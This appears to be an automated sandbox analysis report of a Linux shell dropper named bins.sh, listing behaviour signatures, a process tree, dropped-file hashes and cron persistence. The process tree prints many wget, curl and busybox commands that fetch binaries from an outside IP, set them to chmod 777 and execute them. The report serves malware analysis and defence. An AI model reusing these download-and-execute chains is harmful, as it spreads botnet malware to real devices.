Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    26/11/2024, 18:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    287fd8ff31d734e6b93c9a8bbeef08ae

  • SHA1

    019d60c4998c554bbb85d816dfd93c0079c4fe03

  • SHA256

    4404513cb0bbcbc2922b20dd2655132b5f3a5f0f11141ed6e2291fe622c39df8

  • SHA512

    14cfd73b971d8acf7e9e5263ac01f6446a13f9d71eec3fb0c595dc1cee10531d19c638ce76e14f8788e2bf9f329ded26959f85d27d67393f74d1ec461c7f88a2

  • SSDEEP

    96:DW6M1f1E8zbW9EEafjhzsjEb7bwqg3/SOch+zWx41aGjybnuP0qg3/SOqh2EEafl:668zbWShzYEXttMzDxylzbg

Malware Config

Signatures

  • Contacts a large (1570) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          ./8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            ./GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:763
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:779
            • /bin/chmod
              chmod 777 eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • File and Directory Permissions Modification
              PID:789
            • /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              ./eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Executes dropped EXE
              PID:791
            • /bin/rm
              rm eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
                PID:793
              • /usr/bin/wget
                wget http://216.126.231.240/bins/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • Writes file to tmp directory
                PID:795
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • Writes file to tmp directory
                PID:798
              • /bin/chmod
                chmod 777 wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • File and Directory Permissions Modification
                PID:799
              • /tmp/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                ./wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • Executes dropped EXE
                PID:800
              • /bin/rm
                rm wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                  PID:802
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • Writes file to tmp directory
                  PID:819
                • /bin/chmod
                  chmod 777 40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • File and Directory Permissions Modification
                  PID:826
                • /tmp/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  ./40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • Executes dropped EXE
                  PID:828
                • /bin/rm
                  rm 40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                    PID:831
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/6h6MVlCJshDxmomNotsocz6RjWoYOJBihC
                    2⤵
                    • Writes file to tmp directory
                    PID:832
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/6h6MVlCJshDxmomNotsocz6RjWoYOJBihC
                    2⤵
                    • Writes file to tmp directory
                    PID:841
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/6h6MVlCJshDxmomNotsocz6RjWoYOJBihC
                    2⤵
                    • Writes file to tmp directory
                    PID:842
                  • /bin/chmod
                    chmod 777 6h6MVlCJshDxmomNotsocz6RjWoYOJBihC
                    2⤵
                    • File and Directory Permissions Modification
                    PID:843
                  • /tmp/6h6MVlCJshDxmomNotsocz6RjWoYOJBihC
                    ./6h6MVlCJshDxmomNotsocz6RjWoYOJBihC
                    2⤵
                    • Executes dropped EXE
                    PID:844
                  • /bin/rm
                    rm 6h6MVlCJshDxmomNotsocz6RjWoYOJBihC
                    2⤵
                      PID:846
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/hfcwSTelNLwNbjyJ451ebybK9UPxgGA5F6
                      2⤵
                      • Writes file to tmp directory
                      PID:847
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/hfcwSTelNLwNbjyJ451ebybK9UPxgGA5F6
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:851
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/hfcwSTelNLwNbjyJ451ebybK9UPxgGA5F6
                      2⤵
                      • Writes file to tmp directory
                      PID:852
                    • /bin/chmod
                      chmod 777 hfcwSTelNLwNbjyJ451ebybK9UPxgGA5F6
                      2⤵
                      • File and Directory Permissions Modification
                      PID:853
                    • /tmp/hfcwSTelNLwNbjyJ451ebybK9UPxgGA5F6
                      ./hfcwSTelNLwNbjyJ451ebybK9UPxgGA5F6
                      2⤵
                      • Executes dropped EXE
                      PID:854
                    • /bin/rm
                      rm hfcwSTelNLwNbjyJ451ebybK9UPxgGA5F6
                      2⤵
                        PID:856
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/YZgLjfLePzSAancy1IhqLh0kjBB76ZHSZw
                        2⤵
                        • Writes file to tmp directory
                        PID:857
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/YZgLjfLePzSAancy1IhqLh0kjBB76ZHSZw
                        2⤵
                        • Writes file to tmp directory
                        PID:858
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/YZgLjfLePzSAancy1IhqLh0kjBB76ZHSZw
                        2⤵
                        • Writes file to tmp directory
                        PID:859
                      • /bin/chmod
                        chmod 777 YZgLjfLePzSAancy1IhqLh0kjBB76ZHSZw
                        2⤵
                        • File and Directory Permissions Modification
                        PID:860
                      • /tmp/YZgLjfLePzSAancy1IhqLh0kjBB76ZHSZw
                        ./YZgLjfLePzSAancy1IhqLh0kjBB76ZHSZw
                        2⤵
                        • Executes dropped EXE
                        PID:861
                      • /bin/rm
                        rm YZgLjfLePzSAancy1IhqLh0kjBB76ZHSZw
                        2⤵
                          PID:863
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/skI2Jewu3MCF0lQEZXxBZjSITvv48QraG4
                          2⤵
                          • Writes file to tmp directory
                          PID:864
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/skI2Jewu3MCF0lQEZXxBZjSITvv48QraG4
                          2⤵
                          • Writes file to tmp directory
                          PID:865
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/skI2Jewu3MCF0lQEZXxBZjSITvv48QraG4
                          2⤵
                          • Writes file to tmp directory
                          PID:866
                        • /bin/chmod
                          chmod 777 skI2Jewu3MCF0lQEZXxBZjSITvv48QraG4
                          2⤵
                          • File and Directory Permissions Modification
                          PID:867
                        • /tmp/skI2Jewu3MCF0lQEZXxBZjSITvv48QraG4
                          ./skI2Jewu3MCF0lQEZXxBZjSITvv48QraG4
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:868
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:870
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:871
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:872
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    • Reads runtime system information
                                    PID:873
                              • /bin/rm
                                rm skI2Jewu3MCF0lQEZXxBZjSITvv48QraG4
                                2⤵
                                  PID:875
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/7s2qxKjZFHds8rx83ELHjUiBvs0TzZVF80
                                  2⤵
                                    PID:878

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/6h6MVlCJshDxmomNotsocz6RjWoYOJBihC

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/YZgLjfLePzSAancy1IhqLh0kjBB76ZHSZw

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/hfcwSTelNLwNbjyJ451ebybK9UPxgGA5F6

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/skI2Jewu3MCF0lQEZXxBZjSITvv48QraG4

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /var/spool/cron/crontabs/tmp.JF64am

                                  Filesize

                                  210B

                                  MD5

                                  9bd4e5247b67fab6d7cefb42f10443f4

                                  SHA1

                                  4529ed9905d57dfc96e0410ea80bb11eff063e78

                                  SHA256

                                  85bde714e28d92dafd84882fe4385eb927a557d00f291b1d8f5c112fe8473e3e

                                  SHA512

                                  40e73c819fe19cf91c579c75e373a53430f6d0b6a683e77e5ca011e6fd2e60dbbd67df69410239df0bff7ab5bba8eb299cc540992ec912026be4bb9df3159972